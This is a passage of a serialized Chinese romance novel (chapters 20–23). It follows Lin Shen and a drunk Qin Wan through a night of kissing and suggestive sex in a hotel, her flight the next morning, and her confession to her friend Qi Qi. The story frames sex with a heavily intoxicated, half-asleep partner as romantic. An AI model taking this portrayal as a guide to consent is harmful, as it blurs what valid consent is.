几分钟后,他意犹未尽的微微撤离,在她的唇角似有若无的贴近,游走。
感受着对方急促的呼吸,他勾唇轻笑,低哑道:“宝贝,换气。”
在唇角停留几秒后,他再次吻了上去,不似刚刚上一次那般急切而又来势汹汹。
仿若一场绵绵不绝的春雨,缓慢而又温柔的抚慰她的每一处温暖。
这个吻持续了七八分钟,待她呼吸不过来时,林深才留恋不舍地慢慢撤离。
两人鼻尖相贴,呼吸交错,双目迷离。
扣在女孩下巴的那只手,指尖微动,轻轻抚摸过女孩的被吻花的唇,似在回味刚刚的甜美。
待覃晚稍微缓过劲来,扣紧对方的腰,转身顺势把将其揽过,女孩跌坐在他的怀中。
这个姿势更方便了男人作乱,气息再度占据。
被吻的双目迷离的覃晚闭上眼睛,睫毛轻轻颤抖,主动凑上前去。
修长白皙的指尖插入男人的发丝,唇角不经意间露出一丝轻哼。
听到这娇媚的声音,林深加剧了侵略,灵活的唇舌攻城略池般占据了她唇舌。
急促的呼吸在两人交织在两人密不可分的空隙间。
握住细腰的手克制的收紧,青筋绷紧,不敢轻举妄动。
林深不紧不慢地从口中撤离,向下探寻。
一步步的流连过她的唇角,顺着她柔软的颈部线向下问去,轻咬着她的锁骨,留下点点红痕。
最后,唇瓣来到那圆润的耳垂,像一颗光滑的小珍珠。
那里格外敏感,光是那炽热的气息涌上,怀里的女孩便惊的微微偏头,退后躲开。
吻的眼角微微发红的林深自是不让,扣在后脑勺的那只手轻抚着她的发丝,温柔安慰。
薄唇凑近,伸出舌头舔过女孩的耳垂,坐在怀里的人缩起脖子轻轻颤抖。
“不要。”,女孩嗓音娇媚,躲开林深的双唇,撒娇道。
可爱的样子把林深逗笑,额头轻靠在覃晚颈间。
温热的鼻息洒落,痒得怀里的女孩一颤一颤的往他的胸前躲。
林深手臂微微使力,把女孩往怀里靠近,抬起下巴抵在女孩的发顶,嗅着鼻尖的发丝香气,温柔安抚。
温存片刻,门外铃声忽然响起。
20. 我是谁?
林深把怀里的覃晚温柔安置在沙发上,揉了揉她头低语道:“应该是卸妆水,乖乖待一会儿,我马上回来。”
“嗯......嗯。”,有些发懵的覃晚一顿一顿的点了点头,头顶的两簇翘起的呆毛也随着脑袋的晃动起伏荡漾。
太可爱了,林深一步三回头走到了门口,满脸春风得意的样子打开房门。
“先生,您好,您要的洗护用品到了。”,说话的是刚刚那个前台的服务员,抬眼时无意间发现男人唇边晕染的口红。
加上他现在这副心情大好的样子,身上的疏离感都少了几分。
出于职业素养,她极力按捺住那颗蠢蠢欲动的八卦心,克制住忍不住想要乱瞟的眼神,目视前方,露出标准的微笑。
“谢谢,辛苦了。”
站在门边却时不时向后看去的男人接过手提袋,声音恢复原先的清冷,但隐藏不住几分沙哑又平添了几分性感。
一直关注着沙发上那人的林深没在门口多耽搁。
快步走到浴室,干净利落地将洗漱包里的用品拆去包装袋后便回到了沙发边。
“晚晚。”,林深在她边上坐下,轻柔的将她脸颊上那缕碎发撩至耳后。
握住女孩的那双纤细柔软的小手,不敢用力,温柔问:“我们去洗漱一下,再回来睡好不好?”
不知道是那两个字突然刺激到她,本来睡得乖巧的人歘的一下就从沙发上站起来了。
口中迷迷糊糊地不知在念叨什么,林深迅速跟上,凑近去才听清是:不能烂脸,不能烂脸...
一路扶着摇摇晃晃的覃晚抵达浴室,担心她的脚受不了长时间站立,林深刚刚还特地搬了张椅子进来。
将女孩在椅子上安置好后,他拿起了那堆整齐摆在洗漱台上的瓶瓶罐罐开始研究。
读完了说明书后又开始上网搜使用教程,好半天才结束,等的椅子上的覃晚又睡了过去。
不了解之前她用的什么产品,林深担心过敏,于是按网上的指引先做了个皮肤测试。
有些不太熟练的挤出两泵,拉过她的手腕轻轻擦拭,确认好并无过敏反应后,林深才放心在她脸上使用。
拿起一张棉片,沾湿卸妆水后,林深仔仔细细的擦过脸上的每一处。
不知怎的觉的有些热,面红耳赤。
如此近距离欣赏她的眉眼,过去三年里那个随着时间逐渐模糊的面孔再一次清晰的刻在脑海深处。
卸完妆后下她像一个白里透粉的小桃子,林深忍不住轻吻她的额头,虔诚又温柔。
椅子上睡的不深,感受到气息靠近,覃晚也悠悠转醒。
蹙着眉委屈道:“疼”,眼角流下两滴泪水。
“?”
听到这话的林深有些紧张,以为是自己刚刚哪步操作不对,让她受伤了,摩挲着她那皓白的手腕皱眉问到:“哪里疼?”
“脖子……脖子疼。”
想来是红木椅子质地坚硬,硌到脖子了。
林深揽住她的腰,将人扣进怀里一把抱起,低头安抚:“我们去床上睡,就不疼了。”
不方便换衣服,只能委屈她和衣睡一晚。
林深仔仔细细的帮她把可能戳到的挂饰一一摘下,一手托着女孩的纤细的后颈,扶着在床上躺下。
谁知,还没来得及盖上被子,覃晚就开始脱衣服。
见状,林深以迅雷不及掩耳之势压住她作乱的手,女孩皱着眉挣扎,
“不舒服……”,双手被桎梏,她半睁眼眸,眼眶微红。
“好,”林深松了松手,把掀开的被子给她轻轻盖上,弯腰贴近:“我把睡衣给你拿过来,你自己能换吗?”
女孩敛眸几瞬,蜷了蜷指尖点头答应。
走到浴室,他撑在洗手池边,光是想到刚刚的画面便心跳如擂。
不经意间露出来的肌肤已经足够引人遐想。
要不是他手快,衣服都直接脱光了,这姑娘真是没半点防备。
林深拧开水龙头,狠狠的往自己脸上浇了一捧,热意短暂缓解。
等林深拿着那套杏色的丝绸睡衣从浴室出来是,女孩正乖乖的坐在床上。
发丝微乱,迷糊的眼睛半睁着看向他,小扇子似得眼睫扑闪扑闪。
“醒了?”,林深笑意盈盈的走过去,在床边单膝跪下,拉过她的手说:“睡衣拿着,我去浴室等你,你好了就叫我出来,好吗?”
不知是今晚第几次对着自己点头了,林深嘴角噙着一丝笑意起身离开。
“好啦,我好……啦……”,覃晚拖着尾音,慢悠悠的喊到。
浴室里林深还没来的及回复周嘉煜发来的那句【今晚还回来吗?】的调侃便合上了手机,抬脚出去。
换好衣服的覃晚还坐在床上,水汪汪的杏眸盛满了星光,盯着踱步前来的林深一动不动。
“怎么还不睡觉,不是困了吗。”,林深对上了她的眼睛,摸了摸发顶笑着低语。
覃晚忽然凑近,亲昵的环住了他的腰,将头靠在林深怀里蹭了蹭。
“香香的,抱着睡。”
猝不及防涌上来了柔软让林深怔在了原地,视线聚焦到床边那件白色蕾丝边的bra。
这个也脱了?
怔了两秒后,林深才慢慢回抱住怀里的人。
原本打算安顿好她就离开,谁知周嘉煜那句不着四六的调侃竟一语成谶。
这下,他是真的不想走了。
弯着腰抱了几分钟,林深试探的拉了拉环住腰间的手臂,可却被箍的更紧。
他无声笑了下,宠溺地碰了下她的鼻尖:“我脏,去洗一下再过来陪你好不好?”
“不要。”,有些痒,覃晚缩了缩鼻子,察觉到对方要离开的意头,双手紧紧搂住男人的腰,抬眸撒娇。
林深有些哭笑不得,但只能顺了她的意,温柔的摸了摸她的后脑勺,搂着怀里的人在床上躺下。
原本隔着些距离的两人随着女孩的贴近逐渐变得密不可分。
不知是姿势不舒服还是怎么回事,怀里的覃晚一直不老实地动来动去。
林深整个人都开始发烫,呼吸逐渐变得急促起来,深沉的眸子晦暗不明,仿佛蕴着涌动的情潮。
他抬起放在侧边的手,禁锢住的她一直扭动的腰肢,将人往身上压,喉结轻滑了一下,声音低哑:“别动了,乖一点。”
说完,怀里的人果真不动了,可没安分几秒,又推着他的腹肌退了退。
“别动!”,电流骤然穿过全身,男人抬高了嗓音,语气有些着急。
覃晚愣住了,在怀里没了动静。
等他视线逐渐聚焦,稍微缓过劲来时,低头却看见怀里的女
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孩有些委屈地看着自己。
嘴角微微向下撇,眼神湿润,喃喃道:“硌,你还凶我。”
隐忍许久的防线在此刻骤然断掉,那堵本就破败的不堪一击的城墙在顷刻间崩塌,心跳涌到嗓子眼,眼底情欲溢出。
不同于今夜的温柔和克制,他强势的按住女孩的后颈,不管不顾地吻了下去。
感受到熟悉的气息,眼眶湿润的覃晚伸舌试探。
小心翼翼回应,勾起了更肆无忌惮的侵略,腰间的那只手箍着的手臂青筋迸起,搂着她紧紧贴向自己,仿佛要将对方揉进骨血。
暴风雨的呼吸让覃晚有些措手不及,推着他的胸膛想要逃离。
林深没让她得逞,只是逐渐放缓的攻势,温柔的舔着她唇角,给予她片刻呼吸的余地。
沉溺在他的温柔安抚中的覃晚也逐渐忘了抵抗,甚至主动上前索求。
抵在胸前的那双紧绷的手也渐渐放松,开始上下起手。
平时穿着宽松衣服看不出身材,如今亲身实践,才感受到他那分明的肌肉线条,紧实有力的腹肌和腰身,仿佛蕴藏着无穷无尽的力量。
不满于隔着衣服的抚摸,那双白净纤细的手从胸肌一路向下,最后停在那件白T的下摆,跃跃欲试。
即将探入时,却陡然间被另一只更加宽厚温暖的手掌阻止。
男人唇角微微推开,在脸颊处若即若离,最后停留在耳畔处,勾唇浅笑道:“不可以...”
被吻的情欲缠身的覃晚有些不满,眉头微皱,挣扎着偏要往里伸入。
“我是谁?嗯?”,林深吻上她那敏感的耳廓,嗓音低哑的问到。
怀里的女孩痒的往后缩了缩,迷离的双眼半睁着,支支吾吾轻声呢喃,“你是...你是...”
“嗯?”,林深呼吸洒在她修长的天鹅颈上,期待着她口中的答案。
吞吞吐吐地思虑良久,她终于想到了答案,弯唇一笑,贴上他那红的发烫的耳朵,说:“你是帅哥!”
听到这个答案的林深哭笑不得,这个流氓,还是当年这样。吃干抹净后拍拍屁股就走了,然后完全将他抛诸脑后。
似是泄愤,他低头咬住那纤细柔美的锁骨,听到女孩不满的哼唧声后,慢慢放松齿关,温柔舔舐安慰。
“再说一遍,我是谁?”,林深轻咬颈间的肌肤,尾音微扬?
覃晚眨着水润的眼睛一瞬一瞬的打量面前的人,视线从柔软的薄唇,高挺的鼻梁一直到那双美丽的异色眼眸。
她凑近,吻上他的眼睛,喃喃道:“是林深,眼睛很好看的林深。”
听到满意的答案,那只按住覃晚的手不再阻挠,换了个嵌入进她的掌心,十指相扣。
横亘在腰际的那只手微微,使力将女孩压倒,狂风暴雨的吻再次袭来。
唇舌交缠,两人动情的吻着。
绸质的衣披比流动波浪还要丝滑,那只停在腰间的手不知什么时候便溜了进去,在她那如羊脂玉般细腻的皮肤摩挲着,一路向上。
覃晚也不甘落后,获得应允终于成功摸到了心心念念的腹肌,纤细的手着人鱼线向下探去。
可即将触碰到禁忌之地时却被阻止。
“你确定...要摸这里吗?”
哑着嗓子的林深压低声音,明明是警示的话语却让人品出几分引诱的味道。
21. [锁] [此章节已锁]
月上柳梢,深夜里秋蝉的声音也渐渐褪去,整个世界陷入静谧中,除了海滨路的浪花拍岸。
城市灯光闪烁,明灭可见,那两杯鸡尾酒在胃中翻搅,像振翅的蝴蝶涌动不止。
热意弥漫在空气之中,晕染至她的脸颊。
此刻酒精上头,兴致正好,眼神迷离地覃晚自然而然的点头,像在支付报酬似的,轻吻了下男人的青筋迸起的脖颈。
那道阻挠的力量并未离开,掉转方向。
触到后的覃晚,温度过高,她蜷着指尖想要逃离,却被男人一把控住。
暧昧的气息随着男人沙哑的嗓音在空气中弥漫开来,混杂着汗水和淡雅的玉兰持续发酵。
两颗剧烈跳动的心脏的距离在此刻无限拉近。
覃晚在林深的带领下小心翼翼地向前,纤细冰凉的手指与火热的温度交缠。
一声舒服的喟叹,从喉间发出,拨人心弦。
似乎是受到那道声音的鼓舞
覃晚的动作逐渐大胆起来。
那只带着些凉意的手腕,一步步向前掌握,感受着它的温度和迸起的弧度。
她有些好奇,没控制住力道。
不曾想,一石激起千层浪。
男人握住那只皓腕,额间不断冒出来的热汗从下颌滑至青筋迸起的脖颈,性感的喉结上下滚动。
刚刚那下触碰,心头骤然一紧,复杂的感受无限蔓延。
此般强有力的攻城略池险些让他,缴械投降。
意识到自己闯祸的覃晚,抬眸看向情欲缠身的男人,眼波流转,无辜道:“我不是故意的,我不会,你教教我。”
薄唇沿着那条优美的颈部线向上吻去,耳鬓厮磨:“没关系乖乖,我教你。”
那只宽厚的手掌紧贴着女孩柔若无骨的手背,指引着漫无目的的方向,步步向前。
北风呼啸,青山迎面,所有的呼吸汇聚于一处,温热的水汽,落在耳畔。
林深沙哑的嗓音带着笑意,凑近那莹白的耳垂,吻了上去。
女孩浑身颤抖,肩膀绷直。
尽管如此,他非但没有收手,反而变本加厉,杏色的丝绸睡衣上,水渍沾染,绽开了两朵绚丽的日本晚樱。
浑身颤抖着的女孩早已自顾不暇,皓白的手腕不自觉泄了力。
林深捏着那片光滑的衣角,那双澄澈清冷的眸子此刻情欲缠绕,眼眶猩红的望着她,嗓音低压,央求道。
“这个可以……”
身下的女人浑身都泛着粉意,如同夏季傍晚天空上那一抹粉色烟霞,而眼角噙着点点泪花。
她没有说话,浓密的睫毛颤动着,旖旎的氛围在沉默中无限蔓延开来,暗香浮动,萦绕在两人之间。
良久,她微微点头,单手搂住了男人的后颈。
得到肯定后,林深那双暗沉的眼眸中闪过不易察觉的一丝惊喜。
他俯下身吻住女孩的诱人的唇瓣,骨节分明的手指不紧不慢解开,抽丝剥茧。
天光乍现,覃晚有些害羞偏过头,不敢直视那道灼热的视线。
她伸出手,挡住那片的美景,若有若无,却平添一分犹抱琵琶半遮面的朦胧。
林深勾唇浅笑,这个看似大胆小流氓,真刀实枪时却害羞的满脸通红。
他没有勉强,吻着那洁白如玉却隐隐能感受到线条的手臂,压低声音,循循善诱,声线格外诱人:"宝宝,你也帮我,好不好。"
听到声音后的覃晚回过头,含着水光的眼眸亮晶晶地看着面前的男人。
轮廓分明的下颌滑过两滴汗水,穿过他修长的脖子,湮入胸怀,明灭可见。
注意力成功被转移,那只手领着覃晚捻住了那片衣角,拽住后一把脱了下来,随手甩在床角。
床头那盏昏暗的暖黄色壁灯,腹肌若隐若现,反倒增添了一种别样的性感。
……
“你怎么这么乖啊?”,林深笑着喟叹,嗓音低压。
林深搂着她从床上坐起,抽了几张纸仔仔细细的擦干净。
白皙的手指被擦得染上红晕,他依旧不满意,小狗似得蹭了蹭她的脖子,凑近用沙哑的嗓音问:“抱你去洗手,好吗?”
“嗯。”,趴在林深肩上的覃晚点了点头,无声应答。
灯光太暗,林深手往浴室门口的开关伸去,怀里的覃晚见状赶忙阻止,轻声道:“不要开灯。”
说完便埋进了某人结实的胸膛。
林深收回手,摸了摸她的发顶安抚道:“好,不开。”
逐渐适应黑暗后,林深很快便摸索到了洗手台,把怀里的人放在洗手池边,打开了水龙头。
握着她的双手在冰凉的水下冲洗,指尖交缠。
不知怎的,两人又吻了起来,气息互递。
林深搂住她那盈盈一握的腰肢,手臂一收,把她搂入怀中,温暖的气息迅速缠绕上来,男人
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狠狠啮了口覃晚那修长的脖子。
担心掉落的覃晚双手交叠在男人的后颈,双腿缠在他的线条流畅颈腰上,低下着头承受着男人狂风暴雨般的热吻。
林深把人抱至门边,一手搂住她的腰肢,一手放在后脑勺防止被磕到,忘情地热吻着。
“冰...好冰...”,声音从嘴角溢出,冰凉的木质门框带着些许潮湿,凉意沾染上皮肤。
听到声音后的林深立马抱着她离开,楼腰间的那只手摩挲着温柔安抚。
“回去?”,他哑着嗓子用气音低声询问到怀里的人。
对方没有回答,只是搂着他的脖子垂眸吻了上来,似是肯定。
抱着她一路,在昏暗中摸索到熟悉的位置。
“可以吗?”,他抬眸,哑着声问到。
意乱情迷的覃晚哪里会拒绝他,低声说了句:“嗯."
痒意再次席卷全身,同样感受到那情绪的还有林深,察觉到时机合适。
他三下五除二地脱下了身上的阻碍,抛到床尾,伸出只修长有带着勃发力量感的手臂从床头柜取了个盒子过来。
拆开一个后,他递给身下的覃晚,压低声音蛊惑道:“你来?”
“我不会。”,覃晚挣开手想要拒绝,却被他先一步拽过。
他哑着声音轻笑,安慰道:“没关系,我教你。”
紧张的感觉由点及面,扩散至全身,脉搏和心跳急速跳动。
原本被晚风吹干的头发此刻被汗水打湿,从下颌一直落到身下人的胸前,绽出朵朵细碎的水花。
难以言说的感觉席卷至头顶,第一次感受到的林深不免难以忍受。
多巴胺和荷尔蒙的刺激,此时此刻,将那些残存不多的理智顷刻湮灭。
与那力道随之而来的,是一声将林深重新拉回防线之内的声音。
刚刚太过冲动了,林深十分懊恼,俯身去安抚怀里的人。
“对不起……对不起...”,他的声音有些颤抖,舔舐到她眼角的咸湿后,带了几分哽咽。
纤细的手指在那宽厚的背肌上留下道道红痕。
夜色沉沉如水,月光温柔,秋季的晚风轻抚过帘外薄纱,如波浪般翩翩跃然。
昏暗的暖黄色灯光下,衣物散落一地,凌乱又绮丽。
夜幕中闪烁的晚星,半宿未眠。
此起彼伏的呼吸与欢愉过后留下的暧昧气息弥漫在间屋子。
22. 不辞而别
翌日,下午一点。
密实的窗帘层层叠叠挡住了外面势头正盛的阳光,整个屋子漆黑一片。
暧昧欢愉的气味残留,床角的沙发叠着两套衣服,整整齐齐地贴在一起。
床上沉睡着的覃晚悠悠转醒。
头痛欲裂,浑身酸痛。睡眼惺忪地在床上翻了个身,却被一只宽阔的手掌禁锢。
耳畔传来沙哑的男声:“醒了,饿不饿。”
覃晚在他的怀里怔了几秒,怎么回事?
昨晚那些破碎暧昧的片段如走马灯在脑海里瞬间闪过……
脸瞬间变得通红,怎么回事啊覃小晚。才两杯酒就给你干这来了……
经典名场面,太尴尬了。死脑子快想啊,改说点什么啊?一般的狗血套路怎么办的来着呢?
留下"嫖资"偷偷溜走?逃避虽然离谱,但确实有用。
但显然这个办法没法用,覃晚懊恼地拍了拍头,真该死啊,这么爱睡错过了最佳逃跑时间。
正当她绝望地自暴自弃时,肚子突然咕的一声。
……
从来没有那么想要有闪现技……仿若经受了五雷轰顶,她发誓,自己的人生从来没有那么绝望过。
当她尴尬到无地自容是,背后的男人却被她可爱到,轻笑出声。
他吻了吻女人的修长的后颈,翻身下床。
背后传来窸窸窣窣的穿衣声,覃晚埋在被窝里试图通过掩耳盗铃的行为短暂逃避尴尬。
穿戴整齐后的林深看着被子里耸起的一团,无奈浅笑。
他伸过手温柔抚摸,轻声问道:“想吃什么?”
躲在被窝里的覃晚本不想回答,但转念一想,是个支开他的好机会。
她拨开一角,有些谨慎地探出半张脸,与你抹温柔的目光交汇,小声说:“我想吃……"。
覃晚思索了几秒,想了想附近难以买到的食物,只能想起昨天早市的那家满煎糕,于是脱口而出,"昨天那家满煎糕!"
水汪汪的杏眸有些眼中闪过一丝微不可查的经常,攥住被子的那双手不自觉的蜷起。生怕对方拒绝,错失良机。
幸好,他很爽快的答应了。微笑着俯身在覃晚的额间落下一个轻吻。
"我很快回来,等我。",林深揉了揉她睡的有些乱糟糟的头发。
覃晚表面乖乖点头,但心中暗忖:拜拜了您嘞~
咔哒一声,覃晚立马急着翻身下床。可四肢却像是散架了一般,每动一下都艰难无比。
昨晚不知什么时候结束,到后面她已无意识的昏了过去。
此人,人前冷淡禁欲,但私底下又展露出害羞清纯的反差萌。
结果一到床上又变了样……
不过,有一说一,过程还是挺爽的。
第一次开荤便让她这个顶级颜控睡到个货真价实的真帅哥,活好还温柔……
只是可惜,是个拿她当替身的渣男。
覃晚摇了摇头,把脑子里那些乱七八糟的浮想联翩甩脑海。
得抓紧时间溜走,不然等他回来了就麻烦了。
心有余而力不足,她忍着酸胀和疼痛,花了近十分钟才穿好衣服,幸好扭到的脚踝好的很快,不然此时更是完蛋。
穿戴整齐后,覃晚拎着她那只小包步履艰难地走出了房间。
一路上她都胆战心惊,生怕遇到林深被抓个当场。
直到好不容易抵达自己房间时,覃晚把手里拿着的包一甩,整个人躺倒在床上,才真正松了一口气。
这样下去不是个办法,孽缘来了躲都躲不掉,她拍了拍还有些头疼的脑门,面容愁苦。
长叹了一口气,心中暗忖,还是收拾收拾回去当实验农奴来得安心些。
覃晚立马点开12306,买了张最近回南城的高铁票。
紧要关头,拖延症都被治好了大半。
虽然身体疲惫,但她还是拖着那不太想要的四肢,以最快的速度把东西塞进她那个白色的小行李箱中。
为了避免出去退房时碰到他,覃晚特地全副武装了一番,帽子口罩墨镜齐上阵,偷感十足。
因为这副奇怪装扮,再加上有些蹑手蹑脚的动作,反倒引起了许多路过人的注视礼。
不过幸运的是,一路平安。
等到覃晚坐上去往高铁站的出租车时,林深才提着那袋大老远买来的满煎糕和药膏匆匆回到酒店。
他满心欢喜地进到房间,却发现早已人去楼空,笑容顿时凝固在脸上。
留下的只有那一室,已逐渐变淡香气。
会不会是回自己房间换衣服了,想到这个借口,林深马不停蹄地跑到前台。
“你好,请问这边有没有一个叫覃晚的房客?”,因为一路疾跑,他的呼吸有些急促。
前台
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的服务员笑得温和,照例问到:“请问您和她是什么关系呢?”
“我是她...”,林深顿了几秒,自己和她是什么关系呢?说来好笑,他原本准备今晚同她告白,可现在...连个可以联系她的方式都没有
他极力掩饰住失落的情绪,扯出一个有些勉强的笑容说到:“我是她朋友。给她送点东西,联系不上她。”
了解到基本的情况的前台没有为难,点了点头回应:“好的,我帮您查一下。”
“不好意思哦,先生,我这边显示覃晚女士刚刚退房离开了。”
听到这话的林深垂下眼眸,最后一丝希望破灭,眼神变得黯然。
其实他早便料到了,可听到这句话的时候心像被利刃刺穿,疼的难以呼吸。
人机似的回了句:“谢谢”后,便迈开腿如行尸走肉般回到了那间房间。
坐那那张熟悉的沙发上,口中甜得发腻的满煎糕此刻却索然无味。
直到周嘉煜的接连拨来的几通电话才将他拉回现实。
电话那头不知在做些什么,声音嘈杂,即便隔着电流,依旧能听到周嘉煜嗓音中掩藏不住的笑意。
“阿深,你那边什么情况啊。这都下午了,战况激烈啊。”
难以言说的滋味在胃里翻涌,林深沉默许久,略带几分自嘲的语气,无奈又苦涩的回答:“阿煜,她走了。”
轻佻的调笑声止步在嘴角,表情瞬间凝固,周嘉煜离开喧闹的人群特地寻了个僻静的地方。
“怎么回事?”
“我不知道。”,林深此刻脑子里一团乱糟,一日之内心情急转直下,比过山车还来的刺激。
“行吧,我刚把那群小祖宗送到车站,你现在在哪,我过去找你会和。”
这种情况,周嘉煜也不知如何是好,若是别人他肯定轻飘飘说一句别在一棵树上吊死。
可对方是林深,脾气比牛还倔的林深。
刚准备挂断电话,离开车站时,他忽然见到了一个熟悉的身影。
身形和覃晚一模一样,只不过距离太远还带着顶红色鸭舌帽和口罩,看不清人脸。
周嘉煜摘下墨镜,仔细看了两眼,朝电话那边说了句:“我好像看到她了,在厦城北站。”
听到这个话林深突然拔高了语调,拔腿便跑,朝对面抛下了句:“我马上过来。”,随后便急匆匆的挂断了电话。
23. 根本不行
可一向料事如神的祁绮这次却猜错了,一直到进家门,覃晚都没说半个字。
看来事情是真的很棘手了,还是第一次出现这种情况。
祁绮坐在沙发上,把玩着那只玫瑰金手机盯着那紧闭着的浴室门若有所思。
“我好了,你去吧。”覃晚擦着头发从浴室里走出来。
自打自己接上她,就十分不对劲。一问她时,表面上风轻云淡,但视线却一直乱飞,不敢与自己对视。
祁绮从沙发上起身,走至她面前,状似不经意地拨了拨她身上披的那块粉色浴巾。
“是不是空调温度太低了,冷吗?”
心虚的覃晚立马拢了拢那块浴巾,刚刚洗澡的时候才发现身上留下那么多道吻痕。
这家伙真是狗啊!要是被祁绮看到了,铁定得完。
她顺着对方给找好的梯子,磕磕巴巴搪塞说:“是,好冷。”说完还表演了个极其出戏的哆嗦。
祁绮见她这副明明胆战心惊却还死鸭子嘴硬的样子,在原地斟酌两秒,拍了拍覃晚的肩膀,皮笑肉不笑:“行,给你时间准备一下。好好编编你脖子上的‘蚊子包’怎么来的。”
覃晚顿时愣在了原地,咽了咽口水扭头想要解释,对方却早已关了浴室门,淅淅沥沥的水声响起。
要怎么解释,自己喝醉后色胆包天上了个帅哥这件事,说来说去都有点过于狗血小说情节了。
不行不行,得冷静点,她拍了拍自己被热气熏得通红的脸,神游般走进了房间。
等半小时后祁绮洗完澡出来时,看到的便是女孩乖巧地坐在床上,睁着水灵灵的大眼睛一副无辜的样子望着自己。
“少装可爱,没用。坦白从宽,抗拒从严。”祁绮伸出食指戳了一下她的脑门。
“啊,我头疼。想不起来了。”女孩摸着额头,顺着力道倒在软和的青色被单上。
站在床边的祁绮没有搭理她拙劣的表演,在梳妆台上拿起吹风机开始吹那头利落的短发。
半天没得到回应的覃晚睁开眼,趴在床上看着祁绮窈窕的背影发呆,看来蒙混过关是不可能了。
没一会儿,吹风机的声音便停了,一室寂静,往常熟悉的那道笑容此刻在覃晚眼里简直瘆得慌。
她慌乱躲开视线,举着双手讪讪道:“我坦白。”
“你最好是。”祁绮微微一笑,掀开被子在床上坐下,双目炯炯,盯着面前耷拉着脑袋的女孩。
对方沉默许久,好几次张口却又半途闭上,手不停扣着衣角。
看着她这个样子,祁绮有些不忍心,正准备放她一马时。
女孩忽然抬起头,像是下定了什么决心似的,深吸一口气后,语速极快,“我和那个异瞳帅哥睡了一觉,然后偷跑回来了。”
说完便立刻垂下头闭上眼不敢与祁绮对视。
半晌,对方依旧没有反应。覃晚半睁着眼,微微抬头,偷瞄了一眼对面的人。
只见她面色凝重,此刻的宁静仿若暴风雨的前奏。
覃小晚,叫你见到帅哥就走不动道,这下好了吧。
而且光是这样祁绮就这副表情,要是告诉她替身的事情那自己还能见到明天的太阳吗?
正当她心里暗自打鼓时,一道出乎意料的声音忽然响起。
“戴套了吗?”祁绮语气有些严肃,看着垂下头的覃晚问到。
“啊?”倒是也没料到是这个问题,她有些懵地抬起头,看着祁绮绷直的唇线,视线失焦。
脑海里回想起那天晚上,他那句:“你帮我。”
男人性感又低哑的声音仿若重回耳畔。
覃晚的脸唰的一下变得通红,原本紧张的眸子也带上了迷离的水润。
许久,她摸了摸红的发烫的耳垂,支支吾吾偏头说:“戴...戴了的。”
“行啊你。”一直紧绷着一张脸故作严肃的祁绮没绷住,从被窝里跃起一把搂住覃晚的胳膊。
两人双双倒在床上,祁绮笑着调侃道:“我们囡囡也出息啦,睡到大帅哥了。”
“啊~”覃晚拨了拨额前被折腾得散乱的头发,满脸吃惊地问到:“就这?你不骂我?”
看着面前瞪大了双眼求教训的覃晚,祁绮没忍住噗嗤一笑,拍了她的脑门一下,笑着说:“第一次见人上赶着找骂呢?”
“呜呜呜,七七,我就知道你舍不得骂我。”覃晚搂住祁绮皮肤细腻的胳膊,钻进她的怀里撒娇。
“好了好了。”女人搂住她,安慰似的摸了摸她的发顶,嗓音含笑,细心而又温柔地说道:“我还以为你又在外面受欺负不敢说呢,就这小事有什么不敢说的啊。”
覃晚听到这话,鼻尖一酸。小时候她家覃医生整日在医院忙得不可开交,李教授那时候带研究生,科研教学两手抓,还得应付评职称的各种乱七八糟,根本没时间管她。
当时她被院里那个比她大几岁的小胖子男生欺负,往她身上泼水。
多亏祁绮及时发现,把那胖子和几个同伙的小屁孩揍了一顿,给了他们个教训,一直到她们搬离家属院都没再敢来找事。
怀里的人紧了紧抱着她的那双手,闷闷道:“七七,谢谢你。”
听到这话的祁绮微怔,似是也想起了什么,沉吟片刻,而后轻笑道:“你是该谢谢我,我今天刚下班就来给你当司机了。海鲜大餐都没吃成。”
覃晚成功被逗笑,嘴唇一弯,一字一顿道:“好好好,明天我请客!就去你一直念叨的福聚楼。”
“还算你有良心。”祁绮笑着嗔怪道。
笑容在嘴角停留几秒后,不知想到了什么,表情忽然严肃,拉起怀里的人关切问到:“那个周毅有没有再来骚扰你。”
听到这个名字覃晚脸色瞬间变了,沉着脸愤愤控诉:“说起这个渣男我就来气,居然还有脸跑去海城求复合。”
她拉着祁绮一同从床上坐起,手舞足蹈,声调抬高:“而且你知道吗?当天晚上我还在酒吧遇到他了,和一个男的!”
说到这,覃晚扶额冷笑:“我当初真是脑子坏了,大抵是做实验做出幻觉才答应和他在一起。”
“然后呢?”祁绮试图拉回正题。
“然后我就臭骂了他一顿啊.
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..告诉他以后不许来找我...”
“就这样?”对于她这战斗力,虽然早已习惯但还是有些无奈。
看着对方有些不知所以然的样子,祁绮暗叹了一口气,委婉道:“行吧,要是他还阴魂不散,你直接打电话给我,我替你教训教训他。”
“嗯嗯。不过他应该不敢来找我了。”刚刚情绪太激动,覃晚抱着床上的星黛露玩偶躺下缓了缓。
“您的大大更新时间到了...”
床头充电的手机忽然响了,听到声音的覃晚仿若垂死病中惊坐起,一个翻身爬起,在床上蹦跶两步把手机拿了过来。
盘腿坐着的祁绮被她这一连串行云流水动作吓了一跳,问到:“什么东西,这么激动。”
“哎呀。”覃晚头也没抬,嘴角含着笑意盯着手机回答到:“我追更的一本小说,老有意思了。一般情况这个点就是更新时间。”
“诶...”纤细的手指在屏幕前翻找了几下,神色忽然黯淡下来,接连刷新几次都没有结果,笑脸瞬间皱成小苦瓜。
“又怎么了,哭丧着脸。”祁绮曲着腿挪到她身边,捏了捏她的小脸,柔声问到。
覃晚敛眸,将手机屏幕转向她,有气无力地回答:“喏,你看嘛。”
“被喜欢的人睡后她跑了,我需要整理一下情绪,请假三天。”祁绮盯着那屏幕上刚发出来的请假条,一字一顿地念出。
“?”
本来垂头倒在枕头上一脸生无可恋模样的覃晚听到后瞬间睁大了眼,难以置信地问到:“你说什么?”
“你没看到吗?他刚发的。”祁绮将手机递了过去。
“啊...”覃晚一把从对方掌中抽过手机,拧着眉读了起来。
还真是,新鲜出炉的假条......
他家大大也太惨了吧,被人白嫖了...不过这话,怎么听上去那么眼熟啊。
这不是和她的经历,未免有点太像了吧。
难道这就是传说中的,粉随正主?
思及此,覃晚没忍住噗嗤一笑。
“搞什么,今天cos川剧变脸啊?”听到笑声的祁绮没忍住吐槽了句,瞥了眼正盯着个手机偷乐的女孩。
“诶呀,七七,你想想,我那大大的经历,是不是和我很像。你说巧不巧......”覃晚一边在手机键盘上敲打,一边对身旁的祁绮解释。
【大大,简直太巧了。我和你经历简直一模一样,但是对方只是拿我当替身,根本不喜欢我...】
躺在床上的祁绮思忖了几秒,好像还真挺像的,笑着不着调地调侃了句:“这么巧,说不定你那个大大就是异瞳帅哥呢!”
